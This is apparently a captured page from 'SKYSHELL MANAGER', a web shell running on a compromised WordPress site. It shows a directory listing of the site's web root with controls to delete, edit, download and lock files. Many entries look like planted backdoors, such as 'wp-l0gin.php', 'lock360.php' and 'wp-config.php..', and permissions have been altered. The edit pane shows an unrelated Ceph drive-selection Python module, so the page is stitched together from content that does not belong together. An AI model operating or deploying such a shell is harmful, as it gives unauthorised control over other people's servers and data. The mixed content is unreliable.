📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: translate.py
import logging try: from typing import Optional, List, Dict except ImportError: pass from ceph.deployment.drive_selection.selector import DriveSelection logger = logging.getLogger(__name__) # TODO refactor this to a DriveSelection method class to_ceph_volume(object): NO_CRUSH = '_NO_CRUSH' def __init__(self, selection, # type: DriveSelection osd_id_claims=None, # type: Optional[List[str]] preview=False # type: bool ): self.selection = selection self.spec = selection.spec self.preview = preview self.osd_id_claims = osd_id_claims def prepare_devices(self): # type: () -> Dict[str, List[str]] lvcount: Dict[str, List[str]] = dict() """ for each device, check if it's just a path or it has a crush_device class definition, and append an entry to the right crush_device_ class group """ for device in self.selection.data_devices(): # iterate on List[Device], containing both path and # crush_device_class path = device.path crush_device_class = ( device.crush_device_class or self.spec.crush_device_class or self.NO_CRUSH ) if path is None: raise ValueError("Device path can't be empty") lvcount.setdefault(crush_device_class, []).append(path) return lvcount def run(self): # type: () -> List[str] """ Generate ceph-volume commands based on the DriveGroup filters """ db_devices = [x.path for x in self.selection.db_devices()] wal_devices = [x.path for x in self.selection.wal_devices()] journal_devices = [x.path for x in self.selection.journal_devices()] if not self.selection.data_devices(): return [] cmds: List[str] = [] devices = self.prepare_devices() # get the total number of devices provided by the Dict[str, List[str]] devices_count = len(sum(list(devices.values()), [])) if devices and db_devices: if (devices_count != len(db_devices)) and (self.spec.method == 'raw'): raise ValueError('Number of data devices must match number of ' 'db devices for raw mode osds') if devices and wal_devices: if (devices_count != len(wal_devices)) and (self.spec.method == 'raw'): raise ValueError('Number of data devices must match number of ' 'wal devices for raw mode osds') # For this use case we don't apply any custom crush_device_classes # Note that filestore is not supported anymore by the DriveGroupSpec if self.spec.objectstore == 'filestore': # for lvm batch we can just do all devices in one command devs: List = sum(list(devices.values()), []) cmd = "lvm batch --no-auto" cmd += " {}".format(" ".join(devs)) if self.spec.journal_size: cmd += " --journal-size {}".format(self.spec.journal_size) if journal_devices: cmd += " --journal-devices {}".format( ' '.join(journal_devices)) cmd += " --filestore" cmds.append(cmd) else: for d in devices.keys(): data_devices: Optional[List[str]] = devices.get(d) if not data_devices: continue if self.spec.method == 'raw': assert self.spec.objectstore == 'bluestore' # ceph-volume raw prepare only support 1:1 ratio of data to db/wal devices # for raw prepare each data device needs its own prepare command dev_counter = 0 # reversing the lists as we're assigning db_devices sequentially db_devices.reverse() wal_devices.reverse() while dev_counter < len(data_devices): cmd = "raw prepare --bluestore" cmd += " --data {}".format(data_devices[dev_counter]) if db_devices: cmd += " --block.db {}".format(db_devices.pop()) if wal_devices: cmd += " --block.wal {}".format(wal_devices.pop()) if d != self.NO_CRUSH: cmd += " --crush-device-class {}".format(d) cmds.append(cmd) dev_counter += 1 elif self.spec.objectstore == 'bluestore': # for lvm batch we can just do all devices in one command cmd = "lvm batch --no-auto {}".format(" ".join(data_devices)) if db_devices: cmd += " --db-devices {}".format(" ".join(db_devices)) if wal_devices: cmd += " --wal-devices {}".format(" ".join(wal_devices)) if self.spec.block_wal_size: cmd += " --block-wal-size {}".format(self.spec.block_wal_size) if self.spec.block_db_size: cmd += " --block-db-size {}".format(self.spec.block_db_size) if d != self.NO_CRUSH: cmd += " --crush-device-class {}".format(d) cmds.append(cmd) for i in range(len(cmds)): if self.spec.encrypted: cmds[i] += " --dmcrypt" if self.spec.osds_per_device: cmds[i] += " --osds-per-device {}".format(self.spec.osds_per_device) if self.spec.data_allocate_fraction: cmds[i] += " --data-allocate-fraction {}".format(self.spec.data_allocate_fraction) if self.osd_id_claims: cmds[i] += " --osd-ids {}".format(" ".join(self.osd_id_claims)) if self.spec.method != 'raw': cmds[i] += " --yes" cmds[i] += " --no-systemd" if self.preview: cmds[i] += " --report" cmds[i] += " --format json" return cmds
Save